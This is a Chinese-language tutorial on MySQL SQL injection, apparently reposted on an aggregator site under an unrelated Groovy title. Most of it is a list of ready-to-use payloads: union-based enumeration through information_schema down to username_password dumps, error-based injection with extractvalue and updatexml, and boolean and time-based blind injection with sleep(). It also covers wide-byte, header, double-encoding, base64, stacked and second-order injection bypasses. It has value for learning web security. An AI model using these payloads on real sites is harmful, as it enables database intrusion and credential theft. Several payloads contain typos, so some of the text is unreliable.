groovy怎样从sql语句中截取表名_sql注入mysql篇
?SQL注入
__0x01
?Sql注入原理
?Sql注入顧名思義是沒有對用戶輸入的參數進行過濾導致測試者可以將一段非正常語句插入到查詢語句中,由web應用帶入到數據庫中執行,從而讀取數據庫中的數據。
__0x02
?Sql注入利用條件:
?攻擊者可以控制傳入的參數。
?參數被帶入數據庫中執行。
__0x03
?注入點判斷
數字型:
例:原后臺文件的查詢語句為:
Select * from tables where name =
當輸入為3時的查詢語句為:
Select * from tables where name = 3
輸入加入特殊字符例如單雙引號就會報錯:
Select * from tables where name = 3’————》error
將單引號替換為 3 and 56 = 56
此時語句變為:
Select * from tables where name = 3 and 56 = 56#
Ps:#(--+也是注釋的作用)作用是注釋,將后邊的代碼注釋掉避免報錯
此時等式 恒成立,頁面顯示正常,存在數字型的注入
字符型:
例:原后臺文件的查詢語句為:
Select * from tables where name = ''
當輸入為3時的查詢語句為:
Select * from tables where name = '3'
輸入加入特殊字符例如單雙引號就會報錯:
Select * from tables where name = '3'’————》error
此時多一個單引號會和后面的引號作用報錯
加and 1=1#當name存在時符合代碼邏輯
__0x04
?sql注入方式
--mysql篇--
?union聯合注入
Ps:有時候會用一個負值或者不存在的值代替原本正常的查詢值
例如 url?Id=1 uinion select.......
這個payload只有一個顯示位,就是顯示id=1的正常界面,即使union查詢執行了,結果也會因為id=1的占位問題導致沒有回顯,這時就要使id等于一個不存在的空值,使union得以正常回顯
常用函數:
?Concat():將多個字符串拼接成一個字符串
Select concat('h','s','t','m')
+>hstm
?Concat_ws():將多個字符串拼接成一個字符串,可以加連接符
Select concat('_','h','s','t','m')
+>h_s_t_m
?Group_concat():將多行結果連接為一組
騷操:group_concat(username,'_',password)from users
“_”用于連接查詢出來的用戶名以及密碼結果
此時從users表查詢出來的結果就為
Username1_password1,
Username2_password2,
Username3_password3,
?Limit 函數
Select * from users limit 0,1 從users表中第1行開始取1行數據
Limit 0,2從users表中第1行開始取2行數據
Limit 1,2從users表中第2行開始取2行數據
注入流程:
Order by猜列數
例如有5列
Order by 1到5都不會報錯
Order by 6 會報錯
以此來判斷有幾列
之后用union selsect 1,2,3,4,5來判斷有幾個數據回顯點
例如1和2回顯
此時就可以修改為
Union select version(),database(),3,4,5來查看版本信息,以及當前使用的數據庫
查詢所有數據庫:
Union select group_concat(schema_name) from information_schema.schemata,2,3,4,5#
查詢所有數據表:
Union select group_concat(table_name) from information_schema.tables where table_schema = 剛剛查詢的數據庫,2,3,4,5#
Union select group_concat(column_name) from information_schema.columns where table_name = 剛剛查詢的表名 and table_schema = 表屬于的數據庫名,2,3,4,5#
Union select 列名 from 剛才查詢的表名,2,3,4,5#
?報錯注入
&&&&Xpath報錯注入&&&&
?Extractvalue(arg1,arg2)
接收兩個參數arg1:xml文檔,arg2:xpath語句
條件:mysql5.1版本以上
Payload:and extractvalue(1,concat(0x7e,select user(),0x7e))
返回結果:XPATH SYNTAX ERROR `root@localhost~`
?updatexml(arg1,arg2,arg3)
Arg1為xml文檔對象的名稱;arg2為xpath格式的字符串;arg3位string格式替換查找到符合條件的數據
條件:mysql5.1.5及以上版本
Payload:and updatexml(1,conccat(0x7e,(select user()),0x7e),1)
返回結果:XPATH syntax error:`~root@loaclhost~`
Ps:XPATH報錯注入的使用條件是數據庫符合版本條件
Extractvaluehe和updatexml有32位長度限制
&&&&其他常用報錯注入方式&&&&
?列名重復報錯
條件:name_const()函數在5.0低版本可以使用5.1以上就不支持了
Name_const(name,value)用來產生一個結果集合列時,name_const()促使該列使用給定名稱
Payload:and select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;
?整形溢出報錯
條件:mysql5.5.5以及上版本
Exp是以e為底的指數函數,由于數字太大會產生溢出,該函數會在參數大于709時溢出,產生報錯
Payload:and exp(~(select * from(select user())a))
?幾何報錯注入
條件:高版本mysql無法得到數據
相關函數:geometrycollection(),multiloint(),polygon(),mutipolygon(),linestring(),multilinestring()
函數對參數要求是形如(1 2 ,3 3 ,2 2 1)這樣的幾何數據,不滿足會報錯
Payload:select multipoint((select * from(select * from (select * from(select version())a)b)c))
◤◤◤以extractvalue()函數為例子:
查看數據庫版本:
xxxxxx=1’and extractvalue(1,concat(0x7e,(select version()),0x7e))#
查看當前數據庫名字:
xxxxxxx=1’and extractvalue(1,concat(0x7e,(select database()),0x7e))#
查看當前數據庫有多少表:
xxxxxxx=1’and extractvalue(1,concat(0x7e,(select count(table_name)from information_schema.tables where table_schema=database()),0x7e))#
*************************
假如查詢出有兩個數據表
有兩個方法查詢兩個表名:
1:
第一個數據表:
xxxxxxx=1’and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e))#
第二個數據表:
xxxxxxx=1’and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 1,1),0x7e))#
2:顯示在一列:
xxxxxxx=1’and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#
**************************
假如查詢出的表名為users查詢users表中的列名
xxxxxxx=1’and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()and table_name=”users”?limit 0,1),0x7e))#
查詢數據(假定列名為username,數據庫名為mysql,表名為tables):
Xxxxxxx=1’and extractvalue(1,concat(0x7e,select group_concat(username) from mysql.tables,0x7e))
?布爾盲注
Sql注入的時候僅顯示true或者flase
利用構造好的語句進行true或者flase進行數據猜解
****相關函數:****
截取字符串函數++++++++++++
Substr(),substring(),mid()
用來截取字段中的一部分
例如substr(arg1,int1,int2)arg1為選取的字符串,int1為開始位置,int2為截取的長度
從int1開始截取int2個字符,與limit不同的是第一個字符的序號為1并非是0
長度函數++++++++++
Length(arg1)
獲取字符串arg1的長度
轉碼函數+++++++++++
Ascii(str)
將str轉換為ascii碼
Ps:ascii碼是什么東東請自行百度,簡單理解為換一種編碼格式
條件判斷函數+++++++++
If(arg1,arg2,arg3)
Arg1為判斷條件,arg2為判斷為真的結果,arg3為判斷為假的結果
****注入過程:****
Ps:普及一下二分法:
假定真實值為24,那么可以這樣猜測
先劃定一個范圍進行測試例如 ?大于1小于100
那是否小于50呢 ??對的
那是否小于25呢 ??對的
那是否小于13呢 ??不對 ????那就是大于13
是否大于20呢 ???對的
是否大于23呢 ???對的 ???那大于23小于25的值就是24了
獲取數據庫長度:
假定數據庫名為mysql
And (length(database()))>4# 有回顯說明當前數據庫名長度大于4
And (length(database()))>5# 無回顯說明當前數據庫名長度小于或者等于5
And (length(database()))=5# 有回顯說明當前數據庫名長度等于5
獲取當前數據庫名第一個字母的ascii碼值
And ascii(substr(database(),1,1))>100# 有回顯第一個字母的ascii值大于100
And ascii(substr(database(),1,1))<110# 有回顯第一個字母的ascii值小于110
And ascii(substr(database(),1,1))=109# 有回顯,對照ascii碼表測得第一個字母109=m
之后替換substr()函數的取值最后測得數據庫名為mysql
獲取mysql數據庫中的表名的個數:
And (select count(*) from information_schema.tables where table_schema=”mysql”)>n#
通過改變n的值來測試mysql數據庫中有幾張數據表此時假定為兩張數據表table1和table2
獲取第一個數據表名的長度:
And (select length(table_name) from information_schema.tables where table_schema = “mysql”?limit 0,1)=6#
獲取第一個數據庫表名的第一個字符的ascii碼:
Ascii((Substr((select table_name from information_schema.tables where table_schema = “mysql”?limit y,1)x,1)))<100#
此時的y為0代表第一行的數據,X為1代表取獲取的字符串第一個字符。測出第一個字母為t,通過改變x獲取第一個表名為table1,通過改y值獲取其他數據表名的值為table2
之后獲取列名數據都是相同的操作,至此就不繼續了
?時間盲注
***相關函數***
---睡眠函數---
sleep(int1)
Int1為中斷時間,單位是秒
---多次執行函數---
Benchmark(arg1,arg2)
arg1代表的是執行的次數,arg2代表的是執行的函數
頁面延遲x秒
//以sleep()為例進行延時盲注:/
獲取數據庫名長度:
And if((length(database())=5),seleep(5),1)#
頁面睡眠了5秒,數據庫名長度為5
獲取數據庫名:
And If((ascii(substr(database(),n,1))=m),sleep(5),1)#
改變n和m的值獲取數據庫名的字符,假定數據庫名為mysql
獲取數據庫表名個數
And if((select count(*) from information_schema.tables where table_schema=”mysql”)>n,sleep(5),1)#
假定為兩個數據表table1和table2
獲取第一個數據表名長度:
and if((select length(table_name) from information_schema.tables where table_schema=”mysql”?limit x,1)=6,sleep(5),1)#
通過改變x的值獲取兩個數據表名的長度
獲取數據表的每一個字符:
and if(Ascii(Substr((select table_name from information_schema.tables where table_schema=”mysql”?limit x,1),y,1))=n,sleep(5),1)#
通過改變x值改變選取的第幾行的表名
通過該表y值改變選取的當前字段的第幾個字符
通過改變n值來判斷當前字符的ascii碼的值等于多少
最后獲取表名
之后的操作跟如上大致相同
?Mysql注入進階篇
?寬字節注入
寬字節是指兩個字節寬度的編碼技術
***原因:***
mysql的一個特性,在使用gbk編碼時,誤認為兩個字符是一個漢字
***GBK編碼原理:***
一個字符占用一個字節,一個漢字占用兩個字節,設置”set character_set_client=gbk”通常倒是編碼轉換的注入問題,尤其是php鏈接mysql
取值范圍:第一個字節129-254,第二個字節64-254
遇到連續的兩個字節符合取值范圍的會解析為一個漢字
***用途***
網頁后臺過濾了輸入的參數,例如輸入’會被轉義成/’這樣的話’僅僅作為內容而沒有實質性的意義了
但是經過寬字節可以修改’為%df’這樣一來就成為了%df%5C%27 %df和%5C都在取值范圍內
就形成了漢字“連”這樣一來就可以注入了
?http頭注入
Web程序代碼把用戶提交的http請求包的頭信息未做過濾直接帶入到數據庫中
***原因***
Web程序代碼接受的http請求包的頭信息和數據庫有交互
代碼中使用了超全局變量$_SERVER[]
***可能存在注入的點***
HTTP_HOST
HTTP_USER_AGEBT
HTTP_ACCEPT
HTTP_COOKIE
SERVER_ADDR
REMOTE_ADDR
HTTP-X-FORWARDED-FOR
SCRIPT_FILENAME
?二次編碼注入
?Url采用十六進制編碼,非ascii字符無法顯示需要進行編碼
原本的輸入:
Id=1%27
$_GET[‘id’]>>>>>1’
經過addslashes(1’)>>>1\’
二次編碼后的輸入:
Id = 1%25%27此處將原來的%也進行了編碼
$_GET[‘id’]>>>1%27
Addslashes(1%27)>>>>1’此時可以進行諸如
?base64注入
網絡傳輸數據時,數據并不都是可見字符,傳輸室可能會傳輸錯誤
Base64編碼解決吧不可見字符全部編碼為可見字符,降低傳輸時出現錯誤的可能性
***原理:***
針對傳遞參數被base64加密后的注入點進行注入,繞過一些waf的檢測
注入方法:
先將原本參數進行解密,結合之前的注入方法進行加密,再作為參數進行諸如
?堆疊注入
再sql語句中;表示一天語句的結束,亦可以在;后加新的語句進行執行
多用于sqlserver數據庫
***堆疊和聯合查詢區別***
聯合可以執行的語句有限
堆疊查詢可以試試任意的語句
***Mysql利用條件***
可能受到api或者數據庫引擎不支持的限制
Msqli_multi_query支持
Mysql_query不支持
?二次注入
二次注入是指易儲存的用戶輸入的數據被讀取后,再次進入到sql查詢語句中導致的注入
***原理:***
有些網站對用戶輸入的惡意數據中的特殊字符進行了轉義,但存入數據庫時又返還了原來的惡意數據,當web程序調用并帶入數據庫中進行查詢時就發生了二次注入
例如:
一個網站的管理員為admin
新建一個用戶名為admin’#的賬號
當被調用時,假如在操作改密碼,登錄的是admin’#web后臺代碼實則修改的為admin的密碼,這樣就完成了二次注入的過程
Ps:純手工編寫,請尊重作者的原創,轉載或者復制請標明出處,謝謝您的配合
與50位技術專家面對面20年技術見證,附贈技術全景圖總結
以上是生活随笔為你收集整理的groovy怎样从sql语句中截取表名_sql注入mysql篇的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python读取excel送到网页_py
- 下一篇: 2020班徽设计图案高中计算机,高铁工程